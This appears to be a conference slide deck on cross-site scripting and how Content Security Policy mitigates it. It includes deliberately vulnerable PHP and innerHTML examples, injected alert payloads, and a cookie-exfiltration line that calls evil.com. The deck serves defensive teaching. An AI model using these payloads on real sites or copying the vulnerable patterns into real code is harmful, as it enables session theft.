Ben Vinegar

  • Software engineer at Disqus
  • Co-author, Third-party JavaScript (Manning)
  • Once ate 7 McDonald's cheeseburgers in one sitting
  • Implemented Content Security Policy in Disqus

Cross-Site Scripting (XSS)

This is still a problem

Cross-site scripting (XSS)

Vulnerability where attacker injects JavaScript code into a web document

<?php
$name = $_GET['name'];
echo "Welcome $name";
?>
GET http://ursite.com/script.php?name=%3Cscript%3Ealert(%22pwned%22)%3C%2Fscript%3E HTTP/1.1
Welcome <script>alert("pwned")</script>

Cross-site scripting (XSS)

Client-side apps are not immune

var div = document.createElement('div');
div.innerHTML = 'Welcome' + user.name;
document.body.appendChild(div);
{
  "id": 1337,
  "username": "some_asshole87"  
  "name": "<img src=\"\" onerror=\"alert('pwned')\">",
}
Welcome <img src="" onerror="alert('pwned')">

Alert isn't scary – these are

Steal cookies

new Image('http://evil.com/capture?cookies=' + document.cookie);

Use local XHR

$.get('/my/contacts', function (response) { … });

Use client API

GMAIL.deleteAll();

Mitigation

HTTP-only cookies

Set-Cookie: session=29e807166458d2640 HttpOnly
  • Disables client access via document.cookie
  • Mitigates cookie theft via XSS
  • Wide browser support today (IE8+)
  • Still vulnerable to other client attacks

Input sanitization

Escape dangerous characters in untrusted strings

function escapeHtml(str) {
    return String(str)
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;")
        .replace(/\//g, "&#x2F;")  
}

Character substitutions recommended by OWASP

Input sanitization

Sanitizing untrusted user data on the client

var div = document.createElement('div');
div.innerHTML = 'Welcome' + escapeHtml(user.name);
document.body.appendChild(div);
{
  "id": 1337,
  "username": "some_asshole87"  
  "name": "<img src=\"\" onerror=\"alert('pwned')\">",
}
Welcome &lt;img src=&quot;&quot; onerror=&quot;alert(&#039;pwned&#039;)&quot;&gt;

Input sanitization

The good

  • If done correctly, it works
  • Sanitization is baked into most templating engines, frameworks
  • And usually enabled by default

The bad

  • Sanitization is not always turned on by default
  • Still largely a manual process
  • You can mess up
  • Everyone is still messing up

Notable XSS exploits

These are publicized exploits. There are likely far more kept private.

It's not a matter of if you will introduce an XSS vulnerability, but when.

Content Security Policy (CSP)

Light at the end of the tunnel

Content Security Policy (CSP)

  • New browser feature for mitigiating XSS and data-injection attacks
  • 1.0 W3C Candidate Recomendation (1.1 underway)
  • Whitelists "safe" script hosts
  • Content-Security-Policy HTTP header

Limiting script origins with CSP

Example: restrict scripts to current origin and ajax.googleapis.com

Content-Security-Policy: script-src 'self' ajax.googleapis.com
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="/js/app.js"></script>
<script src="http://evil.com/pwnage.js"></script>
Refused to load the script 'http://evil.com/pwnage.js' because it violates
the following Content Security Policy directive: "script-src 'self' ajax.googleapis.com".

Limiting script origins with CSP

CSP also limits inline scripts

Content-Security-Policy: script-src 'self' ajax.googleapis.com
<script>new Image('http://evil.com/?cookie=' + document.cookie);</script>
Refused to execute inline script because it violates the following Content Security Policy
directive: "script-src 'self' ajax.googleapis.com"

Coping without inline scripts

Inline scripts are often used for defining global config state

<head>
  <script>
  var CONFIG = {
    version = '7330b4',
    appRoot = '//example.com',
    cdnRoot = '//cdn.example.com'
  };
  </script>
  <script src="js/app.js"></script>
<head>

This example will cause a CSP exception.

Coping without inline scripts

<script id="config" type="text/json">
{
  "version": "7330b4",
  "appRoot": "//example.com",
  "cdnRoot": "//cdn.example.com"
}
</script>
<script src="js/app.js"></script>

In app.js …

var config = document.getElementById('config');
window.CONFIG = JSON.parse(config.textContent || config.innerHTML);

CSP and eval

  • These rules also disable eval
  • Some JS libraries depends on eval (moment.js)
  • Option: explicitly allow eval
Content-Security-Policy: script-src 'self' 'unsafe-eval' ajax.googleapis.com

Warning: eval is considered an XSS vector

More than just scripts

CSP can protect against a variety of unauthorized asset types.

  • img-src – limit origins of images
  • style-src – stylesheets
  • media-src – audio and video
  • frame-src – iframe sources
  • connect-src – XHR, WebSockets, EventSource
  • font-src – font files
  • object-src - Flash and other plugin objects
  • default-src – all assets (including scripts)

Multiple CSP arguments

Content-Security-Policy: default-src 'self';
 script-src 'self' 'unsafe-eval' ajax.googleapis.com google-analytics.com;
 style-src 'self' ajax.googleapis.com;
 connect-src 'self' https://api.myapp.com realtime.myapp.com:8080;
 media-src 'self' youtube.com;
 object-src 'self' youtube.com;
 frame-src 'self' youtube.com embed.ly

Browser support

Content-Security-Policy

  • Chrome 26+

X-WebKit-CSP

  • Safari 5.1+
  • Chrome 14 – 25

X-Content-Security-Policy

  • Firefox 4+
  • Internet Explorer 10*

Implementations not created equal

Vendor-prefixed CSP implementations all vary

  • Firefox CSP implementation incompatible with W3C spec
  • IE10 only implements sandbox directive
  • Safari 5.1's CSP implementation differs from Safari 6's
  • Android browser recognizes X-WebKit-CSP, but breaks on it
  • Suggestion: avoid prefixed implementations

Why bother with CSP today?

  • Limited browser support – can't depend on CSP to protect your app

  • But implementing CSP still has tremendous value …

CSP reporting

  • Congure a report-uri to accept CSP exception requests (POST)
  • Be notified of XSS vulnerabilities as they occur
  • Users with CSP-supported browsers make it safer for everybody

CSP reporting

Configure an endpoint to report violations

Content-Security-Policy: default-src 'self'; report-uri http://mysite.com/report.php

CSP reports are delivered as JSON via HTTP POST

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/",
    "blocked-uri": "http://evil.example.com/evil.js",
    "violated-directive": "default-src 'self'",
    "original-policy": "default 'self'; report-uri http://mysite.com/report.php"
  }
}

Report-only headers

  • Content-Security-Policy-Report-Only
  • Notifies you of violations, but won't take action
  • Lets you try CSP risk-free
Content-Security-Policy-Report-Only: default-src 'self'; report-uri http://mysite.com/report.php

CSP violation events (1.1)

document.onsecuritypolicyviolation = function (evt) {
  console.log('Bzzp! Security violation on', evt.documentURI);
  console.log('Violated directive:', evt.violatedDirective);
  console.log('Original policy:', evt.originalPolicy);
};
  • Chrome Canary (28) w/ Experimental WebKit features flag enabled
  • Warning: specification is changing

CSP report logging services

… don't exist yet

  • Sentry open issue
  • Errorception, Airbrake – nothing happening
  • Contact your exception logging service provider today!
  • Violation events open door to JS exception logging

CSP resources

Thanks